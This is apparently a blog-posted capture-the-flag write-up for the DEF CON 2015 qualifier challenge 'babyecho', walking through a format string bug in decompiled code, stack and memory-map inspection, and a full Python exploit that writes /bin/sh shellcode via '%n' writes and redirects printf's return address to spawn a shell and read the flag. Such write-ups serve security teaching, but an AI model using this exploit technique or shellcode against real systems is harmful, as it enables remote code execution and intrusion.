- 공유 링크 만들기
- X
- 이메일
- 기타 앱
binary
https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/babyecho
decompile binary
We can find format string bug in 'printf((const char *)&buf);'
But buffer length is too small to use FSB.
So first. We need to change buffer length(aka. 'v6' in source).
Check stack with FSB.
And. check memory
We can execute code on stack.
So. I wrote shellcode on buffer, and changed 'printf' function's ret address to shellcode address using FSB.
https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/babyecho
decompile binary
int __usercall UserInteractFunction(int a1) { int v1; signed int v2; int v3; int v6; int buf; int v8; v8 = *MK_FP(__GS__, 20); v6 = 13; sub_804FC40((int)off_80EA4C0, 0, 2, 0); Signal(14, sub_8048EB1); sub_806CB50(v1, a1); while ( 1 ) { v2 = 1023; if ( v6 <= 1023 ) v2 = v6; v6 = v2; printf("Reading %d bytes\n", v2); Read((int)&buf, v6, 10); sub_8048ECF((int)&buf); printf((const char *)&buf); sub_804FDE0(10); sub_806CB50(v3, a1); } }
We can find format string bug in 'printf((const char *)&buf);'
But buffer length is too small to use FSB.
So first. We need to change buffer length(aka. 'v6' in source).
Check stack with FSB.
%1$x - d // v2(?) in source %2$x - a %3$x - 0 %4$x - d // v6 in source %5$x - ffa198fc // buffer address %6$x - 0 %7$x - 78243725 // buffer start address %8$x - 0 %9$x - 0 %10$x - 0 %11$x - 0 %12$x - 0 %13$x - 0 %14$x - 0 %15$x - 0 ... buffer
And. check memory
(gdb) she ps PID TTY TIME CMD 3922 pts/0 00:00:00 bash 3977 pts/0 00:00:00 gdb 3980 pts/0 00:00:00 babyecho 3983 pts/0 00:00:00 ps (gdb) she cat /proc/3980/maps 08048000-080e9000 r-xp 00000000 08:01 941429 /root/Desktop/defcon/babyecho 080e9000-080eb000 rwxp 000a0000 08:01 941429 /root/Desktop/defcon/babyecho 080eb000-0810f000 rwxp 00000000 00:00 0 [heap] b7ffc000-b7ffe000 r--p 00000000 00:00 0 [vvar] b7ffe000-b8000000 r-xp 00000000 00:00 0 [vdso] bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
We can execute code on stack.
So. I wrote shellcode on buffer, and changed 'printf' function's ret address to shellcode address using FSB.
import struct import time import telnetlib from socket import * p = lambda x : struct.pack("<L", x) #HOST = "babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me" HOST = "52.74.164.187" PORT = 3232 # 15bytes nops + 25bytes shellcode shellcode = "\x90" * 15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" # write memory function def WriteMemory(s, addr, data) : for i in range(4) : s.recv(1024) s.send("a" * 16 + p(addr + i) + "\n") s.recv(1024) s.recv(1024) s.send("%" + str((data >> 8 * i) & 0xff) + "c%11$n\n") s.recv(1024) s = socket(AF_INET, SOCK_STREAM) s.connect((HOST, PORT)) s.recv(1024) s.send("%5$x\n") data = s.recv(1024) bufAddr = int(data, 16) print "buf addr -", hex(bufAddr) # change buf limit d -> 10d s.recv(1024) s.send("aaaaaaaa" + p(bufAddr - 11) + "\n") s.recv(1024) s.recv(1024) s.send("%1c%9$n\n") s.recv(1024) shellcodeAddr = bufAddr + 80 print "[*] shellcode Addr - " + hex(shellcodeAddr) print "[*] writing shellcode..." for i in range(len(shellcode) / 4) : shellcodeDword = ord(shellcode[i * 4 + 3]) << 24 shellcodeDword += ord(shellcode[i * 4 + 2]) << 16 shellcodeDword += ord(shellcode[i * 4 + 1]) << 8 shellcodeDword += ord(shellcode[i * 4]) WriteMemory(s, shellcodeAddr + i * 4, shellcodeDword) print "[*] writing Success" # change ret addr to shellcode addr print s.recv(1024) addr1 = (shellcodeAddr & 0xff) addr2 = ((shellcodeAddr >> 8) & 0xff) addr2 = addr2 + (0x100 - addr1) addr3 = ((shellcodeAddr >> 16) & 0xff) addr3 = addr3 + (0x200 - addr2 - addr1) s.send(p(bufAddr - 32) + "%" + str(addr1 - 4) + "c" + "%7$n" + "aaa") s.send(p(bufAddr - 31) + "%" + str(addr2 - 7) + "c" + "%11$n" + "aa") s.send(p(bufAddr - 30) + "%" + str(addr3 - 6) + "c" + "%15$n" + "aa") s.send(p(bufAddr - 29) + "%" + str(0xff - ((shellcodeAddr >> 16) & 0xff) - 6) + "c" + "%19$n" + "\n") # if success then receive data data = s.recv(2024) if data.find("aa") != -1 : s.send("cat /home/babyecho/flag\n") print s.recv(1024) else : print "failed!\n") s.close()
댓글
댓글 쓰기